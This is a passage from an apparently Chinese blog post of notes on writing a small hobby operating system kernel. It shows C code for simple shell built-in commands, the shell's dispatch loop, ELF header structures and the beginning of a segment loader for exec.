class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* pwd命令的内建函数 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">buildin_pwd</span><span class="params">(<span class="keyword">uint32_t</span> argc, <span class="keyword">char</span>** argv UNUSED)</span> </span>&#123;</span><br><span class="line">   <span class="keyword">if</span> (argc != <span class="number">1</span>) &#123;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">"pwd: no argument support!\n"</span>);</span><br><span class="line">      <span class="keyword">return</span>;</span><br><span class="line">   &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">      <span class="keyword">if</span> (<span class="literal">NULL</span> != getcwd(final_path, MAX_PATH_LEN)) &#123;</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"%s\n"</span>, final_path); </span><br><span class="line">      &#125; <span class="keyword">else</span> &#123;</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"pwd: get current work directory failed.\n"</span>);</span><br><span class="line">      &#125;</span><br><span class="line">   &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* cd命令的内建函数 */</span></span><br><span class="line"><span class="function"><span class="keyword">char</span>* <span class="title">buildin_cd</span><span class="params">(<span class="keyword">uint32_t</span> argc, <span class="keyword">char</span>** argv)</span> </span>&#123;</span><br><span class="line">   <span class="keyword">if</span> (argc &gt; <span class="number">2</span>) &#123;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">"cd: only support 1 argument!\n"</span>);</span><br><span class="line">      <span class="keyword">return</span> <span class="literal">NULL</span>;</span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 若是只键入cd而无参数,直接返回到根目录. */</span></span><br><span class="line">   <span class="keyword">if</span> (argc == <span class="number">1</span>) &#123;</span><br><span class="line">      final_path[<span class="number">0</span>] = <span class="string">'/'</span>;</span><br><span class="line">      final_path[<span class="number">1</span>] = <span class="number">0</span>;</span><br><span class="line">   &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">      make_clear_abs_path(argv[<span class="number">1</span>], final_path);</span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line">   <span class="keyword">if</span> (chdir(final_path) == <span class="number">-1</span>) &#123;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">"cd: no such directory %s\n"</span>, final_path);</span><br><span class="line">      <span class="keyword">return</span> <span class="literal">NULL</span>;</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">return</span> final_path;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* ls命令的内建函数 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">buildin_ls</span><span class="params">(<span class="keyword">uint32_t</span> argc, <span class="keyword">char</span>** argv)</span> </span>&#123;</span><br><span class="line">   <span class="keyword">char</span>* pathname = <span class="literal">NULL</span>;</span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">stat</span> <span class="title">file_stat</span>;</span></span><br><span class="line">   <span class="built_in">memset</span>(&amp;file_stat, <span class="number">0</span>, <span class="keyword">sizeof</span>(struct stat));</span><br><span class="line">   <span class="keyword">bool</span> long_info = <span class="literal">false</span>;</span><br><span class="line">   <span class="keyword">uint32_t</span> arg_path_nr = <span class="number">0</span>;</span><br><span class="line">   <span class="keyword">uint32_t</span> arg_idx = <span class="number">1</span>;   <span class="comment">// 跨过argv[0],argv[0]是字符串“ls”</span></span><br><span class="line">   <span class="keyword">while</span> (arg_idx &lt; argc) &#123;</span><br><span class="line">      <span class="keyword">if</span> (argv[arg_idx][<span class="number">0</span>] == <span class="string">'-'</span>) &#123;  <span class="comment">// 如果是选项,单词的首字符是-</span></span><br><span class="line"> <span class="keyword">if</span> (!<span class="built_in">strcmp</span>(<span class="string">"-l"</span>, argv[arg_idx])) &#123;         <span class="comment">// 如果是参数-l</span></span><br><span class="line">    long_info = <span class="literal">true</span>;</span><br><span class="line"> &#125; <span class="keyword">else</span> <span class="keyword">if</span> (!<span class="built_in">strcmp</span>(<span class="string">"-h"</span>, argv[arg_idx])) &#123;   <span class="comment">// 参数-h</span></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">"usage: -l list all infomation about the file.\n-h for help\nlist all files in the current dirctory if no option\n"</span>); </span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line"> &#125; <span class="keyword">else</span> &#123;<span class="comment">// 只支持-h -l两个选项</span></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">"ls: invalid option %s\nTry `ls -h' for more information.\n"</span>, argv[arg_idx]);</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line"> &#125;</span><br><span class="line">      &#125; <span class="keyword">else</span> &#123;     <span class="comment">// ls的路径参数</span></span><br><span class="line"> <span class="keyword">if</span> (arg_path_nr == <span class="number">0</span>) &#123;</span><br><span class="line">    pathname = argv[arg_idx];</span><br><span class="line">    arg_path_nr = <span class="number">1</span>;</span><br><span class="line"> &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">"ls: only support one path\n"</span>);</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line"> &#125;</span><br><span class="line">      &#125;</span><br><span class="line">      arg_idx++;</span><br><span class="line">   &#125; </span><br><span class="line">   </span><br><span class="line">   <span class="keyword">if</span> (pathname == <span class="literal">NULL</span>) &#123; <span class="comment">// 若只输入了ls 或 ls -l,没有输入操作路径,默认以当前路径的绝对路径为参数.</span></span><br><span class="line">      <span class="keyword">if</span> (<span class="literal">NULL</span> != getcwd(final_path, MAX_PATH_LEN)) &#123;</span><br><span class="line"> pathname = final_path;</span><br><span class="line">      &#125; <span class="keyword">else</span> &#123;</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"ls: getcwd for default path failed\n"</span>);</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line">      &#125;</span><br><span class="line">   &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">      make_clear_abs_path(pathname, final_path);</span><br><span class="line">      pathname = final_path;</span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line">   <span class="keyword">if</span> (stat(pathname, &amp;file_stat) == <span class="number">-1</span>) &#123;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">"ls: cannot access %s: No such file or directory\n"</span>, pathname);</span><br><span class="line">      <span class="keyword">return</span>;</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">if</span> (file_stat.st_filetype == FT_DIRECTORY) &#123;</span><br><span class="line">      <span class="class"><span class="keyword">struct</span> <span class="title">dir</span>* <span class="title">dir</span> = <span class="title">opendir</span>(<span class="title">pathname</span>);</span></span><br><span class="line">      <span class="class"><span class="keyword">struct</span> <span class="title">dir_entry</span>* <span class="title">dir_e</span> = <span class="title">NULL</span>;</span></span><br><span class="line">      <span class="keyword">char</span> sub_pathname[MAX_PATH_LEN] = &#123;<span class="number">0</span>&#125;;</span><br><span class="line">      <span class="keyword">uint32_t</span> pathname_len = <span class="built_in">strlen</span>(pathname);</span><br><span class="line">      <span class="keyword">uint32_t</span> last_char_idx = pathname_len - <span class="number">1</span>;</span><br><span class="line">      <span class="built_in">memcpy</span>(sub_pathname, pathname, pathname_len);</span><br><span class="line">      <span class="keyword">if</span> (sub_pathname[last_char_idx] != <span class="string">'/'</span>) &#123;</span><br><span class="line"> sub_pathname[pathname_len] = <span class="string">'/'</span>;</span><br><span class="line"> pathname_len++;</span><br><span class="line">      &#125;</span><br><span class="line">      rewinddir(dir);</span><br><span class="line">      <span class="keyword">if</span> (long_info) &#123;</span><br><span class="line"> <span class="keyword">char</span> ftype;</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"total: %d\n"</span>, file_stat.st_size);</span><br><span class="line"> <span class="keyword">while</span>((dir_e = readdir(dir))) &#123;</span><br><span class="line">    ftype = <span class="string">'d'</span>;</span><br><span class="line">    <span class="keyword">if</span> (dir_e-&gt;f_type == FT_REGULAR) &#123;</span><br><span class="line">       ftype = <span class="string">'-'</span>;</span><br><span class="line">    &#125; </span><br><span class="line">    sub_pathname[pathname_len] = <span class="number">0</span>;</span><br><span class="line">    <span class="built_in">strcat</span>(sub_pathname, dir_e-&gt;filename);</span><br><span class="line">    <span class="built_in">memset</span>(&amp;file_stat, <span class="number">0</span>, <span class="keyword">sizeof</span>(struct stat));</span><br><span class="line">    <span class="keyword">if</span> (stat(sub_pathname, &amp;file_stat) == <span class="number">-1</span>) &#123;</span><br><span class="line">       <span class="built_in">printf</span>(<span class="string">"ls: cannot access %s: No such file or directory\n"</span>, dir_e-&gt;filename);</span><br><span class="line">       <span class="keyword">return</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">"%c  %d  %d  %s\n"</span>, ftype, dir_e-&gt;i_no, file_stat.st_size, dir_e-&gt;filename);</span><br><span class="line"> &#125;</span><br><span class="line">      &#125; <span class="keyword">else</span> &#123;</span><br><span class="line"> <span class="keyword">while</span>((dir_e = readdir(dir))) &#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">"%s "</span>, dir_e-&gt;filename);</span><br><span class="line"> &#125;</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"\n"</span>);</span><br><span class="line">      &#125;</span><br><span class="line">      closedir(dir);</span><br><span class="line">   &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">      <span class="keyword">if</span> (long_info) &#123;</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"-  %d  %d  %s\n"</span>, file_stat.st_ino, file_stat.st_size, pathname);</span><br><span class="line">      &#125; <span class="keyword">else</span> &#123;</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"%s\n"</span>, pathname);  </span><br><span class="line">      &#125;</span><br><span class="line">   &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* ps命令内建函数 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">buildin_ps</span><span class="params">(<span class="keyword">uint32_t</span> argc, <span class="keyword">char</span>** argv UNUSED)</span> </span>&#123;</span><br><span class="line">   <span class="keyword">if</span> (argc != <span class="number">1</span>) &#123;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">"ps: no argument support!\n"</span>);</span><br><span class="line">      <span class="keyword">return</span>;</span><br><span class="line">   &#125;</span><br><span class="line">   ps();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* clear命令内建函数 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">buildin_clear</span><span class="params">(<span class="keyword">uint32_t</span> argc, <span class="keyword">char</span>** argv UNUSED)</span> </span>&#123;</span><br><span class="line">   <span class="keyword">if</span> (argc != <span class="number">1</span>) &#123;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">"clear: no argument support!\n"</span>);</span><br><span class="line">      <span class="keyword">return</span>;</span><br><span class="line">   &#125;</span><br><span class="line">   clear();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* mkdir命令内建函数 */</span></span><br><span class="line"><span class="keyword">int32_t</span> buildin_mkdir(<span class="keyword">uint32_t</span> argc, <span class="keyword">char</span>** argv) &#123;</span><br><span class="line">   <span class="keyword">int32_t</span> ret = <span class="number">-1</span>;</span><br><span class="line">   <span class="keyword">if</span> (argc != <span class="number">2</span>) &#123;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">"mkdir: only support 1 argument!\n"</span>);</span><br><span class="line">   &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">      make_clear_abs_path(argv[<span class="number">1</span>], final_path);</span><br><span class="line">      <span class="comment">/* 若创建的不是根目录 */</span></span><br><span class="line">      <span class="keyword">if</span> (<span class="built_in">strcmp</span>(<span class="string">"/"</span>, final_path)) &#123;</span><br><span class="line"> <span class="keyword">if</span> (mkdir(final_path) == <span class="number">0</span>) &#123;</span><br><span class="line">    ret = <span class="number">0</span>;</span><br><span class="line"> &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">"mkdir: create directory %s failed.\n"</span>, argv[<span class="number">1</span>]);</span><br><span class="line"> &#125;</span><br><span class="line">      &#125;</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">return</span> ret;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* rmdir命令内建函数 */</span></span><br><span class="line"><span class="keyword">int32_t</span> buildin_rmdir(<span class="keyword">uint32_t</span> argc, <span class="keyword">char</span>** argv) &#123;</span><br><span class="line">   <span class="keyword">int32_t</span> ret = <span class="number">-1</span>;</span><br><span class="line">   <span class="keyword">if</span> (argc != <span class="number">2</span>) &#123;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">"rmdir: only support 1 argument!\n"</span>);</span><br><span class="line">   &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">      make_clear_abs_path(argv[<span class="number">1</span>], final_path);</span><br><span class="line">   <span class="comment">/* 若删除的不是根目录 */</span></span><br><span class="line">      <span class="keyword">if</span> (<span class="built_in">strcmp</span>(<span class="string">"/"</span>, final_path)) &#123;</span><br><span class="line"> <span class="keyword">if</span> (rmdir(final_path) == <span class="number">0</span>) &#123;</span><br><span class="line">    ret = <span class="number">0</span>;</span><br><span class="line"> &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">"rmdir: remove %s failed.\n"</span>, argv[<span class="number">1</span>]);</span><br><span class="line"> &#125;</span><br><span class="line">      &#125;</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">return</span> ret;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* rm命令内建函数 */</span></span><br><span class="line"><span class="keyword">int32_t</span> buildin_rm(<span class="keyword">uint32_t</span> argc, <span class="keyword">char</span>** argv) &#123;</span><br><span class="line">   <span class="keyword">int32_t</span> ret = <span class="number">-1</span>;</span><br><span class="line">   <span class="keyword">if</span> (argc != <span class="number">2</span>) &#123;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">"rm: only support 1 argument!\n"</span>);</span><br><span class="line">   &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">      make_clear_abs_path(argv[<span class="number">1</span>], final_path);</span><br><span class="line">   <span class="comment">/* 若删除的不是根目录 */</span></span><br><span class="line">      <span class="keyword">if</span> (<span class="built_in">strcmp</span>(<span class="string">"/"</span>, final_path)) &#123;</span><br><span class="line"> <span class="keyword">if</span> (unlink(final_path) == <span class="number">0</span>) &#123;</span><br><span class="line">    ret = <span class="number">0</span>;</span><br><span class="line"> &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">"rm: delete %s failed.\n"</span>, argv[<span class="number">1</span>]);</span><br><span class="line"> &#125;</span><br><span class="line">    </span><br><span class="line">      &#125;</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">return</span> ret;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>调用这些命令就需要修改shell文件，因为这个文件能够获取用户的输入，下面的argv[0]也就是用户输入的命令，通过memset进行比较</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">char</span>* argv[MAX_ARG_NR];    <span class="comment">// argv为全局变量，为了以后exec的程序可访问参数</span></span><br><span class="line"><span class="keyword">int32_t</span> argc = <span class="number">-1</span>;</span><br><span class="line"><span class="comment">/* 简单的shell */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">my_shell</span><span class="params">(<span class="keyword">void</span>)</span> </span>&#123;</span><br><span class="line">   cwd_cache[<span class="number">0</span>] = <span class="string">'/'</span>;</span><br><span class="line">   <span class="keyword">while</span> (<span class="number">1</span>) &#123;</span><br><span class="line">      print_prompt(); </span><br><span class="line">      <span class="built_in">memset</span>(final_path, <span class="number">0</span>, MAX_PATH_LEN);</span><br><span class="line">      <span class="built_in">memset</span>(cmd_line, <span class="number">0</span>, MAX_PATH_LEN);</span><br><span class="line">      readline(cmd_line, MAX_PATH_LEN);</span><br><span class="line">      <span class="keyword">if</span> (cmd_line[<span class="number">0</span>] == <span class="number">0</span>) &#123; <span class="comment">// 若只键入了一个回车</span></span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line">      &#125;</span><br><span class="line">      argc = <span class="number">-1</span>;</span><br><span class="line">      argc = cmd_parse(cmd_line, argv, <span class="string">' '</span>);</span><br><span class="line">      <span class="keyword">if</span> (argc == <span class="number">-1</span>) &#123;</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"num of arguments exceed %d\n"</span>, MAX_ARG_NR);</span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">if</span> (!<span class="built_in">strcmp</span>(<span class="string">"ls"</span>, argv[<span class="number">0</span>])) &#123;</span><br><span class="line"> buildin_ls(argc, argv);</span><br><span class="line">      &#125; <span class="keyword">else</span> <span class="keyword">if</span> (!<span class="built_in">strcmp</span>(<span class="string">"cd"</span>, argv[<span class="number">0</span>])) &#123;</span><br><span class="line"> <span class="keyword">if</span> (buildin_cd(argc, argv) != <span class="literal">NULL</span>) &#123;</span><br><span class="line">    <span class="built_in">memset</span>(cwd_cache, <span class="number">0</span>, MAX_PATH_LEN);</span><br><span class="line">    <span class="built_in">strcpy</span>(cwd_cache, final_path);</span><br><span class="line"> &#125;</span><br><span class="line">      &#125; <span class="keyword">else</span> <span class="keyword">if</span> (!<span class="built_in">strcmp</span>(<span class="string">"pwd"</span>, argv[<span class="number">0</span>])) &#123;</span><br><span class="line"> buildin_pwd(argc, argv);</span><br><span class="line">      &#125; <span class="keyword">else</span> <span class="keyword">if</span> (!<span class="built_in">strcmp</span>(<span class="string">"ps"</span>, argv[<span class="number">0</span>])) &#123;</span><br><span class="line"> buildin_ps(argc, argv);</span><br><span class="line">      &#125; <span class="keyword">else</span> <span class="keyword">if</span> (!<span class="built_in">strcmp</span>(<span class="string">"clear"</span>, argv[<span class="number">0</span>])) &#123;</span><br><span class="line"> buildin_clear(argc, argv);</span><br><span class="line">      &#125; <span class="keyword">else</span> <span class="keyword">if</span> (!<span class="built_in">strcmp</span>(<span class="string">"mkdir"</span>, argv[<span class="number">0</span>]))&#123;</span><br><span class="line"> buildin_mkdir(argc, argv);</span><br><span class="line">      &#125; <span class="keyword">else</span> <span class="keyword">if</span> (!<span class="built_in">strcmp</span>(<span class="string">"rmdir"</span>, argv[<span class="number">0</span>]))&#123;</span><br><span class="line"> buildin_rmdir(argc, argv);</span><br><span class="line">      &#125; <span class="keyword">else</span> <span class="keyword">if</span> (!<span class="built_in">strcmp</span>(<span class="string">"rm"</span>, argv[<span class="number">0</span>])) &#123;</span><br><span class="line"> buildin_rm(argc, argv);</span><br><span class="line">      &#125; <span class="keyword">else</span> &#123;</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"external command\n"</span>);</span><br><span class="line">      &#125;</span><br><span class="line">   &#125;</span><br><span class="line">   panic(<span class="string">"my_shell: should not be here"</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>下面测试一下</p><p><img src="/2020/06/11/简单内核实现笔记-part-4/111.png" alt></p><h2 id="加载用户进程"><a href="#加载用户进程" class="headerlink" title="加载用户进程"></a>加载用户进程</h2><p>接下来我们需要从硬盘上加载程序，实现exec，exec会把一个可执行文件的绝对路径作为参数，把当前正在运行的用户进程的进程体(代码段、数据段、堆、栈)用该可执行文件的进程体替换，从而实现了新进程的执行，新进程只会替换老进程，因此pid仍然是老进程的pid，之前的shell是通过if-else结构对用户输入进行处理，要添加系统调用就会很麻烦，但有了exec之后就可以完成任意外部命令(用户进程)的运行。下面是具体实现，首先添加elf相关结构体</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">extern</span> <span class="keyword">void</span> <span class="title">intr_exit</span><span class="params">(<span class="keyword">void</span>)</span></span>;</span><br><span class="line"><span class="keyword">typedef</span> <span class="keyword">uint32_t</span> Elf32_Word, Elf32_Addr, Elf32_Off;</span><br><span class="line"><span class="keyword">typedef</span> <span class="keyword">uint16_t</span> Elf32_Half;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 32位elf头 */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">Elf32_Ehdr</span> &#123;</span></span><br><span class="line">   <span class="keyword">unsigned</span> <span class="keyword">char</span> e_ident[<span class="number">16</span>];</span><br><span class="line">   Elf32_Half    e_type;</span><br><span class="line">   Elf32_Half    e_machine;</span><br><span class="line">   Elf32_Word    e_version;</span><br><span class="line">   Elf32_Addr    e_entry;</span><br><span class="line">   Elf32_Off     e_phoff;</span><br><span class="line">   Elf32_Off     e_shoff;</span><br><span class="line">   Elf32_Word    e_flags;</span><br><span class="line">   Elf32_Half    e_ehsize;</span><br><span class="line">   Elf32_Half    e_phentsize;</span><br><span class="line">   Elf32_Half    e_phnum;</span><br><span class="line">   Elf32_Half    e_shentsize;</span><br><span class="line">   Elf32_Half    e_shnum;</span><br><span class="line">   Elf32_Half    e_shstrndx;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 程序头表Program header.就是段描述头 */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">Elf32_Phdr</span> &#123;</span></span><br><span class="line">   Elf32_Word p_type; <span class="comment">// 见下面的enum segment_type</span></span><br><span class="line">   Elf32_Off  p_offset;</span><br><span class="line">   Elf32_Addr p_vaddr;</span><br><span class="line">   Elf32_Addr p_paddr;</span><br><span class="line">   Elf32_Word p_filesz;</span><br><span class="line">   Elf32_Word p_memsz;</span><br><span class="line">   Elf32_Word p_flags;</span><br><span class="line">   Elf32_Word p_align;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 段类型 */</span></span><br><span class="line"><span class="keyword">enum</span> segment_type &#123;</span><br><span class="line">   PT_NULL,            <span class="comment">// 忽略</span></span><br><span class="line">   PT_LOAD,            <span class="comment">// 可加载程序段</span></span><br><span class="line">   PT_DYNAMIC,         <span class="comment">// 动态加载信息 </span></span><br><span class="line">   PT_INTERP,          <span class="comment">// 动态加载器名称</span></span><br><span class="line">   PT_NOTE,            <span class="comment">// 一些辅助信息</span></span><br><span class="line">   PT_SHLIB,           <span class="comment">// 保留</span></span><br><span class="line">   PT_PHDR             <span class="comment">// 程序头表</span></span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>先实现段加载到内存的函数</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 将文件描述符fd指向的文件中,偏移为offset,大小为filesz的段加载到虚拟地址为vaddr的内存 */</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">bool</span> <span class="title">segment_load</span><span class="params">(<span class="keyword">int32_t</span> fd, <span class="keyword">uint32_t</span> offset, <span class="keyword">uint32_t</span> filesz, <span class="keyword">uint32_t</span> vaddr)</span> </span>&#123;</span><br><span class="line">   <span class="keyword">uint32_t</span> vaddr_first_page = vaddr &amp; <span class="number">0xfffff000</span>;    <span class="comment">// vaddr地址所在的页框</span></span><br><span class="line">   <span class="keyword">uint32_t</span> size_in_first_page = PG_SIZE - (vaddr &amp; <span class="number">0x00000fff</span>);     <span class="comment">// 加载到内存后,文件在第一个页框中占用的字节大小</span></span><br><span class="line">   <span class="keyword">uint32_t</span> occupy_pages = <span class="number">0</span>;</span><br><span class="line">   <span class="comment">/* 若一个页框容不下该段 */</span></span><br><span class="line">   <span class="keyword">if</span> (filesz &gt; size_in_first_page) &#123;</span><br><span class="line">      <span class="keyword">uint32_t</span> left_size = filesz - size_in_first_page;</span><br><span class="line">      occupy_pages = DIV_ROUND_UP(left_size, PG_SIZE) + <span class="number">1</span>;     <span class="comment">// 1是指vaddr_first_page</span></span><br><span class="line">   &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">      occupy_pages = <span class="number">1</span>;</span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 为进程分配内存 */</span></span><br><span class="line">   <span class="keyword">uint32_t</span> page_idx = <span class="number">0</span>;</span><br><span class="line">   <span class="keyword">uint32_t</span> vaddr_page = vaddr_first_page;</span><br><span class="line">   <span class="keyword">while</span> (page_idx &lt; occupy_pages) &#123;</span><br><span class="line">      <span class="keyword">uint32_t</span>* pde = pde_ptr(vaddr_page);</span><br><span class="line">      <span class="keyword">uint32_t</span>* pte = pte_ptr(vaddr_page);</span><br><span class="line"></span><br><span class="line">      <span class="comment">/* 如果pde不存在,或者pte不存在就分配内存.</span></span><br><span class="line"><span class="comment">       * pde的判断要在pte之前,否则pde若不存在会导致</span></span><br><span class="line"><span class="comment">       * 判断pte时缺页异常 */</span></span><br><span class="line">      <span class="keyword">if</span> (!(*pde &amp; <span class="number">0x00000001</span>) || !(*pte &amp; <span class="number">0x00000001</span>)) &#123;</span><br><span class="line"> <span class="keyword">if</span> (get_a_page(PF_USER, vaddr_page) == <span 